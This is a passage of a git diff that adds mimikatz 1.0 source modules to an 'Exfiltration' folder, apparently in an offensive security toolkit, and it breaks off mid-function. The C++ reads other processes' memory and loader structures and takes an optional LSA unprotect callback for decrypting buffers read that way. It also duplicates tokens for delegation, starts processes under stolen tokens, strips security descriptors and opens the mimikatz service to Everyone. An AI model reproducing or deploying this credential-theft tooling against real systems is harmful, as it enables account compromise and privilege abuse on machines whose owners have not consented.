--git a/Exfiltration/mimikatz-1.0/modules/mod_process.cpp b/Exfiltration/mimikatz-1.0/modules/mod_process.cpp new file mode 100644 index 00000000..d000f411 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_process.cpp @@ -0,0 +1,473 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_process.h" + +bool mod_process::getList(vector * maProcessesvector, wstring * processName) +{ + HANDLE hProcessesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if(hProcessesSnapshot != INVALID_HANDLE_VALUE) + { + PROCESSENTRY32 monProcessus; + monProcessus.dwSize = sizeof(PROCESSENTRY32); + + if(Process32First(hProcessesSnapshot, &monProcessus)) + { + do + { + if(!processName || (_wcsicmp(processName->c_str(), monProcessus.szExeFile) == 0)) + { + KIWI_PROCESSENTRY32 monProcessK = { + monProcessus.dwSize, + monProcessus.cntUsage, + monProcessus.th32ProcessID, + monProcessus.th32DefaultHeapID, + monProcessus.th32ModuleID, + monProcessus.cntThreads, + monProcessus.th32ParentProcessID, + monProcessus.pcPriClassBase, + monProcessus.dwFlags, + monProcessus.szExeFile + }; + + maProcessesvector->push_back(monProcessK); + } + } while(Process32Next(hProcessesSnapshot, &monProcessus)); + } + CloseHandle(hProcessesSnapshot); + return true; + } + else + { + return false; + } +} + +bool mod_process::getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName) +{ + bool reussite = false; + + vector * mesProcesses = new vector(); + + if(getList(mesProcesses, processName)) + { + if(reussite = (mesProcesses->size() == 1)) + { + *monProcess = mesProcesses->front(); + } + } + delete mesProcesses; + return reussite; +} + +bool mod_process::getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName, DWORD * processId) +{ + bool reussite = false; + + vector * monVecteurDeModule = new vector(); + if(mod_process::getModulesListForProcessId(monVecteurDeModule, processId)) + { + if(!moduleName) + { + *monModule = *(monVecteurDeModule->begin()); + reussite = true; + } + else + { + for(vector::iterator leModule = monVecteurDeModule->begin(); leModule != monVecteurDeModule->end(); leModule++) + { + if(_wcsicmp(leModule->szModule.c_str(), moduleName->c_str()) == 0) + { + *monModule = *leModule; + reussite = true; + break; + } + } + } + } + delete monVecteurDeModule; + + return reussite; +} + +bool mod_process::getModulesListForProcessId(vector * maModulevector, DWORD * processId) +{ + HANDLE hModuleSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, (processId ? *processId : 0)); + + if(hModuleSnapshot != INVALID_HANDLE_VALUE) + { + MODULEENTRY32 monModule; + monModule.dwSize = sizeof(MODULEENTRY32); + + if(Module32First(hModuleSnapshot, &monModule)) + { + do + { + KIWI_MODULEENTRY32 monModuleK = { + monModule.dwSize, + monModule.th32ModuleID, + monModule.th32ProcessID, + monModule.GlblcntUsage, + monModule.ProccntUsage, + monModule.modBaseAddr, + monModule.modBaseSize, + monModule.hModule, + monModule.szModule, + monModule.szExePath + }; + maModulevector->push_back(monModuleK); + } while(Module32Next(hModuleSnapshot, &monModule)); + } + CloseHandle(hModuleSnapshot); + return true; + } + else + { + return false; + } +} + +bool mod_process::start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused, bool aUsurper, HANDLE leToken) +{ + bool reussite = false; + RtlZeroMemory(mesInfosProcess, sizeof(PROCESS_INFORMATION)); + STARTUPINFO mesInfosDemarrer; + RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO)); + mesInfosDemarrer.cb = sizeof(STARTUPINFO); + + wchar_t * commandLine = new wchar_t[maCommandLine->size() + 1]; + maCommandLine->_Copy_s(commandLine, maCommandLine->size(), maCommandLine->size()); + commandLine[maCommandLine->size()] = L'\0'; + + DWORD creationFlag = CREATE_NEW_CONSOLE | (paused ? CREATE_SUSPENDED : NULL); + + if(leToken) + reussite = CreateProcessAsUser(leToken, NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; + else if(aUsurper) + reussite = CreateProcessWithLogonW(L"mimikatzU", L"mimikatzD", L"mimikatzP", LOGON_NETCREDENTIALS_ONLY, NULL, commandLine, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; + else + reussite = CreateProcess(NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; + + delete[] commandLine; + return reussite; +} + +bool mod_process::suspend(DWORD & processId) +{ + bool reussite = false; + + if(PNT_SUSPEND_PROCESS NtSuspendProcess = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSuspendProcess"))) + { + HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + reussite = NT_SUCCESS(NtSuspendProcess(monHandle)); + CloseHandle(monHandle); + } + } + return reussite; +} + +bool mod_process::resume(DWORD & processId) +{ + bool reussite = false; + + if(PNT_RESUME_PROCESS NtResumeProcess = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtResumeProcess"))) + { + HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + reussite = NT_SUCCESS(NtResumeProcess(monHandle)); + CloseHandle(monHandle); + } + } + return reussite; +} + +bool mod_process::stop(DWORD & processId, DWORD exitCode) +{ + bool reussite = false; + + HANDLE monHandle = OpenProcess(PROCESS_TERMINATE, false, processId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + reussite = (TerminateProcess(monHandle, exitCode) != 0); + CloseHandle(monHandle); + } + return reussite; +} + +bool mod_process::debug(DWORD & processId) +{ + return (DebugActiveProcess(processId) != 0); +} + +bool mod_process::getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle) +{ + bool reussite = false; + + if(processHandle == INVALID_HANDLE_VALUE) + processHandle = GetCurrentProcess(); + + if(PNT_QUERY_INFORMATION_PROCESS NtQueryInformationProcess = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryInformationProcess"))) + { + ULONG sizeReturn; + reussite = NT_SUCCESS(NtQueryInformationProcess(processHandle, ProcessBasicInformation, mesInfos, sizeof(PROCESS_BASIC_INFORMATION), &sizeReturn)) && (sizeReturn == sizeof(PROCESS_BASIC_INFORMATION)); + } + return reussite; +} + +bool mod_process::getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId) +{ + bool reussite = false; + + HANDLE handleProcess = OpenProcess(PROCESS_QUERY_INFORMATION , false, processId); + if(handleProcess && handleProcess != INVALID_HANDLE_VALUE) + { + HANDLE handleProc; + if(OpenProcessToken(handleProcess, TOKEN_READ, &handleProc) != 0) + { + DWORD ddNeededSize; + TOKEN_STATISTICS tokenStats; + + if(reussite = (GetTokenInformation(handleProc, TokenStatistics, &tokenStats, sizeof(tokenStats), &ddNeededSize) != 0)) + { + AuthentificationId = tokenStats.AuthenticationId; + } + CloseHandle(handleProc); + } + CloseHandle(handleProcess); + } + + return reussite; +} + +bool mod_process::getPeb(PEB * peb, HANDLE processHandle) +{ + bool reussite = false; + PROCESS_BASIC_INFORMATION * mesInfos = new PROCESS_BASIC_INFORMATION(); + if(getProcessBasicInformation(mesInfos, processHandle)) + { + reussite = mod_memory::readMemory(mesInfos->PebBaseAddress, peb, sizeof(PEB), processHandle); + } + delete mesInfos; + return reussite; +} + +bool mod_process::getIAT(PBYTE ptrBaseAddr, vector>> * monIAT, HANDLE handleProcess) +{ + bool reussite = false; + + BYTE * baseAddr = ptrBaseAddr; + + BYTE * ayIMAGE_DOS_HEADER = new BYTE[sizeof(IMAGE_DOS_HEADER)]; + if(mod_memory::readMemory(baseAddr, ayIMAGE_DOS_HEADER, sizeof(IMAGE_DOS_HEADER), handleProcess)) + { + PIMAGE_DOS_HEADER structDOSHeader = reinterpret_cast(ayIMAGE_DOS_HEADER); + if(!IsBadReadPtr(structDOSHeader, sizeof(IMAGE_DOS_HEADER)) && structDOSHeader->e_magic == IMAGE_DOS_SIGNATURE) + { + BYTE * ayIMAGE_NT_HEADERS = new BYTE[sizeof(IMAGE_NT_HEADERS)]; + if(mod_memory::readMemory(baseAddr + structDOSHeader->e_lfanew, ayIMAGE_NT_HEADERS, sizeof(IMAGE_NT_HEADERS), handleProcess)) + { + PIMAGE_NT_HEADERS structPEHeader = reinterpret_cast(ayIMAGE_NT_HEADERS); + if(!IsBadReadPtr(structPEHeader, sizeof(IMAGE_NT_HEADERS)) && structPEHeader->Signature == IMAGE_NT_SIGNATURE) + { + if(structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress != NULL && structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size > 0) + { + BYTE * ayIMAGE_IMPORT_DESCRIPTOR = new BYTE[structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size]; + if(mod_memory::readMemory(baseAddr + structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, ayIMAGE_IMPORT_DESCRIPTOR, structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size, handleProcess)) + { + PIMAGE_IMPORT_DESCRIPTOR structImportDesc = reinterpret_cast(ayIMAGE_IMPORT_DESCRIPTOR); + if(reussite = !IsBadReadPtr(structImportDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR))) + { + while(structImportDesc->Characteristics) + { + DWORD i = 0; + + BYTE * ayIMAGE_THUNK_DATA_HintName = new BYTE[sizeof(IMAGE_THUNK_DATA)]; + BYTE * ayIMAGE_THUNK_DATA_IAT = new BYTE[sizeof(IMAGE_THUNK_DATA)]; + + vector mesImports; + + for(;;) + { + if( + mod_memory::readMemory(baseAddr + structImportDesc->OriginalFirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_HintName, sizeof(IMAGE_THUNK_DATA), handleProcess) + && + mod_memory::readMemory(baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_IAT, sizeof(IMAGE_THUNK_DATA), handleProcess) + ) + { + PIMAGE_THUNK_DATA HintNameArray = reinterpret_cast(ayIMAGE_THUNK_DATA_HintName); + PIMAGE_THUNK_DATA IATArray = reinterpret_cast(ayIMAGE_THUNK_DATA_IAT); + + if(HintNameArray->u1.Function) + { + KIWI_IAT_MODULE imageIAT = { + baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA) + FIELD_OFFSET(IMAGE_THUNK_DATA, u1.Function), + reinterpret_cast(IATArray->u1.Function), + 0, + string() + }; + + if(HintNameArray->u1.Ordinal & IMAGE_ORDINAL_FLAG) + { + imageIAT.Ordinal = IMAGE_ORDINAL(HintNameArray->u1.Ordinal); + } + else + { + BYTE monTab[] = {0}; + long offsetToNull; + if(mod_memory::searchMemory(baseAddr + HintNameArray->u1.AddressOfData + FIELD_OFFSET(IMAGE_IMPORT_BY_NAME, Name), 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess)) + { + BYTE * ayIMAGE_IMPORT_BY_NAME = new BYTE[sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull]; + if(mod_memory::readMemory(baseAddr + HintNameArray->u1.AddressOfData, ayIMAGE_IMPORT_BY_NAME, sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull, handleProcess)) + { + PIMAGE_IMPORT_BY_NAME nameImg = reinterpret_cast(ayIMAGE_IMPORT_BY_NAME); + imageIAT.funcName = string(reinterpret_cast(nameImg->Name)); + } + delete [] ayIMAGE_IMPORT_BY_NAME; + } + } + + mesImports.push_back(imageIAT); + i++; + } + else break; + } + else break; + } + + delete[] ayIMAGE_THUNK_DATA_IAT; + delete[] ayIMAGE_THUNK_DATA_HintName; + + BYTE monTab[] = {0}; + long offsetToNull; + + if(mod_memory::searchMemory(baseAddr + structImportDesc->Name, 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess)) + { + char * maLib = new char[offsetToNull+1]; + if(mod_memory::readMemory(baseAddr + structImportDesc->Name, maLib, offsetToNull+1, handleProcess)) + { + monIAT->push_back(make_pair(string(maLib), mesImports)); + } + delete [] maLib; + } + + structImportDesc++; + } + } + } + delete[] ayIMAGE_IMPORT_DESCRIPTOR; + } + } + } + delete[] ayIMAGE_NT_HEADERS; + } + } + delete[] ayIMAGE_DOS_HEADER; + + return reussite; +} + +bool mod_process::getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector * mesProcess) +{ + bool reussite = false; + bool tabOk = false; + + vector * monTab; + + if(!mesProcess) + { + monTab = new vector(); + tabOk = mod_process::getList(monTab); + } + else + { + monTab = mesProcess; + } + + if(mesProcess || tabOk) + { + for(vector::iterator monProcess = monTab->begin(); monProcess != monTab->end(); monProcess++) + { + if(reussite = (monProcess->th32ProcessID == processId)) + { + *processKiwi = *monProcess; + break; + } + } + } + + if(!mesProcess) + { + delete monTab; + } + + return reussite; +} + +bool mod_process::getVeryBasicModulesListForProcess(vector * monModuleVector, HANDLE processHandle) +{ + bool reussite = false; + PEB * monPeb = new PEB(); + if(getPeb(monPeb, processHandle)) + { + PEB_LDR_DATA * monLoader = new PEB_LDR_DATA(); + if(mod_memory::readMemory(monPeb->LoaderData, monLoader, sizeof(PEB_LDR_DATA), processHandle)) + { + PBYTE aLire, fin; + LDR_DATA_TABLE_ENTRY monEntry; + for( + aLire = PBYTE(monLoader->InMemoryOrderModulevector.Flink) - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks), + fin = (PBYTE) (monPeb->LoaderData) + FIELD_OFFSET(PEB_LDR_DATA, InLoadOrderModulevector); + aLire != fin; + aLire = (PBYTE) monEntry.InMemoryOrderLinks.Flink - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks) + ) + { + if(reussite = mod_memory::readMemory(aLire, &monEntry, sizeof(monEntry), processHandle)) + { + KIWI_VERY_BASIC_MODULEENTRY monModule = { + reinterpret_cast(monEntry.DllBase), + monEntry.SizeOfImage, + getUnicodeStringOfProcess(&monEntry.BaseDllName, processHandle) + }; + monModuleVector->push_back(monModule); + } + } + } + delete monLoader; + } + delete monPeb; + return reussite; +} + +wstring mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction) +{ + wstring maChaine; + BYTE * monBuffer = NULL; + if(getUnicodeStringOfProcess(ptrString, &monBuffer, process, unProtectFunction)) + { + maChaine.assign(mod_text::stringOrHex(monBuffer, ptrString->Length)); + } + if(monBuffer) + delete[] monBuffer; + return maChaine; +} + +bool mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction) +{ + bool resultat = false; + + if(ptrString->Buffer && (ptrString->Length > 0)) + { + *monBuffer = new BYTE[ptrString->MaximumLength]; + if(resultat = mod_memory::readMemory(ptrString->Buffer, *monBuffer, ptrString->MaximumLength, process)) + { + if(unProtectFunction) + unProtectFunction(*monBuffer, ptrString->MaximumLength); + } + } + return resultat; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_process.h b/Exfiltration/mimikatz-1.0/modules/mod_process.h new file mode 100644 index 00000000..a7acf180 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_process.h @@ -0,0 +1,84 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "secpkg.h" +#include "mod_ntddk.h" +#include "mod_memory.h" +#include "mod_text.h" +#include +#include + +class mod_process +{ +public: + typedef struct _KIWI_IAT_MODULE + { + PVOID ptrToFunc; + PVOID ptrFunc; + WORD Ordinal; + string funcName; + } KIWI_IAT_MODULE, *PKIWI_IAT_MODULE; + + typedef struct _KIWI_PROCESSENTRY32 + { + DWORD dwSize; + DWORD cntUsage; + DWORD th32ProcessID; // this process + ULONG_PTR th32DefaultHeapID; + DWORD th32ModuleID; // associated exe + DWORD cntThreads; + DWORD th32ParentProcessID; // this process's parent process + LONG pcPriClassBase; // Base priority of process's threads + DWORD dwFlags; + wstring szExeFile; // Path + } KIWI_PROCESSENTRY32, *PKIWI_PROCESSENTRY32; + + typedef struct _KIWI_MODULEENTRY32 + { + DWORD dwSize; + DWORD th32ModuleID; // This module + DWORD th32ProcessID; // owning process + DWORD GlblcntUsage; // Global usage count on the module + DWORD ProccntUsage; // Module usage count in th32ProcessID's context + BYTE * modBaseAddr; // Base address of module in th32ProcessID's context + DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr + HMODULE hModule; // The hModule of this module in th32ProcessID's context + wstring szModule; + wstring szExePath; + } KIWI_MODULEENTRY32, *PKIWI_MODULEENTRY32; + + typedef struct _KIWI_VERY_BASIC_MODULEENTRY + { + BYTE * modBaseAddr; // Base address of module in th32ProcessID's context + DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr + wstring szModule; + } KIWI_VERY_BASIC_MODULEENTRY, *PKIWI_VERY_BASIC_MODULEENTRY; + + static bool getList(vector * maProcessesvector, wstring * processName = NULL); + static bool getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName); + + static bool start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused = false, bool aUsurper = false, HANDLE leToken = NULL); + static bool suspend(DWORD & processId); + static bool resume(DWORD & processId); + static bool stop(DWORD & processId, DWORD exitCode = 0); + + static bool debug(DWORD & processId); + + static bool getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId); + static bool getModulesListForProcessId(vector * maModulevector, DWORD * processId = NULL); + static bool getVeryBasicModulesListForProcess(vector * monModuleVector, HANDLE processHandle = INVALID_HANDLE_VALUE); + static bool getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName = NULL, DWORD * processId = NULL); + + static bool getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector * mesProcess = NULL); + + static bool getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle = INVALID_HANDLE_VALUE); + static bool getPeb(PEB * peb, HANDLE processHandle = INVALID_HANDLE_VALUE); + static bool getIAT(PBYTE ptrBaseAddr, vector>> * monIAT, HANDLE handleProcess = INVALID_HANDLE_VALUE); + + static wstring getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process = INVALID_HANDLE_VALUE, PLSA_PROTECT_MEMORY unProtectFunction = NULL); + static bool getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction = NULL); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp b/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp new file mode 100644 index 00000000..c14632c0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp @@ -0,0 +1,162 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_secacl.h" + +bool mod_secacl::nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType) +{ + PSECURITY_DESCRIPTOR newSD = NULL; + ULONG laTaille; + bool succes = false; + + if(BuildSecurityDescriptor(NULL, NULL, 0, NULL, 0, NULL, NULL, &laTaille, &newSD) == ERROR_SUCCESS) + { + switch(monType) + { + case SE_KERNEL_OBJECT: + succes = SetKernelObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSD) != 0; + break; + case SE_SERVICE: + succes = SetServiceObjectSecurity(*reinterpret_cast(monHandle), DACL_SECURITY_INFORMATION, newSD) != 0; + break; + } + LocalFree(newSD); + } + + return succes; +} + +bool mod_secacl::addWorldToMimikatz(SC_HANDLE * monHandle) +{ + bool reussite = false; + DWORD dwSizeNeeded = 0; + SECURITY_DESCRIPTOR monSd; + if((QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, &monSd, 0, &dwSizeNeeded) == 0) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) + { + PSECURITY_DESCRIPTOR oldSd = new BYTE[dwSizeNeeded]; + if(QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) + { + SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY; + PSID pEveryoneSID = NULL; + if(AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID)) + { + EXPLICIT_ACCESS ForEveryOne; + RtlZeroMemory(&ForEveryOne, sizeof(EXPLICIT_ACCESS)); + ForEveryOne.grfAccessMode = SET_ACCESS; + ForEveryOne.grfInheritance = NO_INHERITANCE; + ForEveryOne.grfAccessPermissions = SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL ; + ForEveryOne.Trustee.TrusteeForm = TRUSTEE_IS_SID; + ForEveryOne.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; + ForEveryOne.Trustee.ptstrName = reinterpret_cast(pEveryoneSID); + + PSECURITY_DESCRIPTOR newSd = NULL; + DWORD laTaille; + if(BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryOne, 0, NULL, oldSd, &laTaille, &newSd) == ERROR_SUCCESS) + { + reussite = SetServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSd) != 0; + LocalFree(newSd); + } + FreeSid(pEveryoneSID); + } + } + delete [] oldSd; + } + return reussite; +} + +bool mod_secacl::sidToStrSid(PSID Sid, wstring * strSid) +{ + bool reussite = false; + + wchar_t * szSid; + if(reussite = ConvertSidToStringSid(Sid, &szSid) != 0) + { + strSid->assign(szSid); + LocalFree(szSid); + } + return reussite; +} + +bool mod_secacl::sidToName(PSID Sid, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage) +{ + bool reussite = false; + + DWORD dwSizeName = 0; + DWORD dwSizeDomain = 0; + SID_NAME_USE nameUse; + + if(!LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, NULL, &dwSizeName, NULL, &dwSizeDomain, &nameUse) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) + { + wchar_t * monNom = new wchar_t[dwSizeName]; + wchar_t * monDomain = new wchar_t[dwSizeDomain]; + if(reussite = (LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, monNom, &dwSizeName, monDomain, &dwSizeDomain, &nameUse)) != 0) + { + strName->assign(monNom); + if(domainName) + domainName->assign(monDomain); + + if(usage) + *usage = nameUse; + } + delete[] monDomain; + delete[] monNom; + } + + return reussite; +} + +bool mod_secacl::simpleSidToString(PSID Sid, wstring * String) +{ + wstring userName; + wstring domaineName; + String->clear(); + + if(Sid) + { + if(mod_secacl::sidToName(Sid, &userName, &domaineName)) + { + String->assign(domaineName); + String->push_back(L'\\'); + String->append(userName); + } + else + mod_secacl::sidToStrSid(Sid, String); + } + if(String->empty()) + String->assign(L"(null)"); + + return true; +} + +bool mod_secacl::tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage) +{ + bool reussite = false; + + DWORD szNeeded = 0; + if(!GetTokenInformation(tokenHandle, TokenUser, NULL, 0, &szNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) + { + BYTE * mesDonnees = new BYTE[szNeeded]; + if(GetTokenInformation(tokenHandle, TokenUser, mesDonnees, szNeeded, &szNeeded)) + { + TOKEN_USER * monUser = reinterpret_cast(mesDonnees); + reussite = sidToName(monUser->User.Sid, strName, domainName, systemName, usage); + } + delete[] mesDonnees; + } + + return reussite; +} + +bool mod_secacl::exchangeDupToken(HANDLE * tokenHandle) +{ + bool reussite = false; + HANDLE secToken; + if(reussite = DuplicateTokenEx(*tokenHandle, MAXIMUM_ALLOWED, NULL, /*SecurityImpersonation*/SecurityDelegation, /*TokenImpersonation*/ TokenPrimary, &secToken) != 0) + { + CloseHandle(*tokenHandle); + *tokenHandle = secToken; + } + return reussite; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_secacl.h b/Exfiltration/mimikatz-1.0/modules/mod_secacl.h new file mode 100644 index 00000000..5e8aa04f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_secacl.h @@ -0,0 +1,24 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include +#include + +using namespace std; + +class mod_secacl +{ +public: + static bool simpleSidToString(PSID Sid, wstring * String); + static bool sidToStrSid(PSID Sid, wstring * strSid); + static bool nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType = SE_KERNEL_OBJECT); + static bool sidToName(PSID Sid, wstring * strName, wstring * domainName = NULL, wstring * systemName = NULL, SID_NAME_USE * usage = NULL); + static bool tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName = NULL, wstring * systemName = NULL, SID_NAME_USE * usage = NULL); + + static bool exchangeDupToken(HANDLE * tokenHandle); + static bool addWorldToMimikatz(SC_HANDLE * monHandle); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_service.cpp b/Exfiltration/mimikatz-1.0/modules/mod_service.cpp new file mode 100644 index 00000000..c2344818 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_service.cpp @@ -0,0 +1,142 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_service.h" + +bool mod_service::getList(vector * monVectorService, wstring * machineName) // machine non implment +{ + bool reussite = false; + DWORD error = ERROR_SUCCESS; + + if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE)) + { + DWORD tailleRequise = 0; + DWORD nbServices = 0; + DWORD resumeHandle = 0; + + if(!(EnumServicesStatusEx(monManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_WIN32, SERVICE_STATE_ALL, NULL, 0, &tailleRequise, &nbServices, &resumeHandle, NULL) != 0) && GetLastError() == ERROR_MORE_DATA) + { + BYTE * servicesBuff = new BYTE[tailleRequise]; + ENUM_SERVICE_STATUS_PROCESS * mesServ = reinterpret_cast(servicesBuff); + if(reussite = EnumServicesStatusEx(monManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_WIN32, SERVICE_STATE_ALL, servicesBuff, tailleRequise, &tailleRequise, &nbServices, &resumeHandle, NULL) != 0) + { + for(DWORD i = 0; i < nbServices; i++) + { + KIWI_SERVICE_STATUS_PROCESS monService = {mesServ[i].lpServiceName, mesServ[i].lpDisplayName, mesServ[i].ServiceStatusProcess}; + monVectorService->push_back(monService); + } + } + delete[] servicesBuff; + error = GetLastError(); + } + + CloseServiceHandle(monManager); + SetLastError(error); + } + return reussite; +} + + +bool mod_service::getUniqueForName(KIWI_SERVICE_STATUS_PROCESS * monService, wstring * serviceName, wstring * machineName) // machine non implment +{ + bool reussite = false; + + vector * vectorServices = new vector(); + if(getList(vectorServices, machineName)) + { + for(vector::iterator monSvc = vectorServices->begin(); monSvc != vectorServices->end(); monSvc++) + { + if(reussite = (_wcsicmp(monSvc->serviceName.c_str(), serviceName->c_str()) == 0)) + { + *monService = *monSvc; + break; + } + } + } + delete vectorServices; + + return reussite; +} + +bool mod_service::start(wstring * serviceName, wstring * machineName) +{ + bool reussite = false; + DWORD error = ERROR_SUCCESS; + if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) + { + if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), SERVICE_START)) + { + if(!(reussite = StartService(monService, 0, NULL) != 0)) + error = GetLastError(); + CloseServiceHandle(monService); + } + else + error = GetLastError(); + CloseServiceHandle(monManager); + SetLastError(error); + } + + return reussite; +} + +bool mod_service::remove(wstring * serviceName, wstring * machineName) +{ + bool reussite = false; + DWORD error = ERROR_SUCCESS; + if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) + { + if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), DELETE)) + { + if(!(reussite = DeleteService(monService) != 0)) + error = GetLastError(); + CloseServiceHandle(monService); + } + else + error = GetLastError(); + CloseServiceHandle(monManager); + SetLastError(error); + } + return reussite; +} + +bool mod_service::genericControl(wstring * serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus, wstring * machineName) +{ + bool reussite = false; + DWORD error = 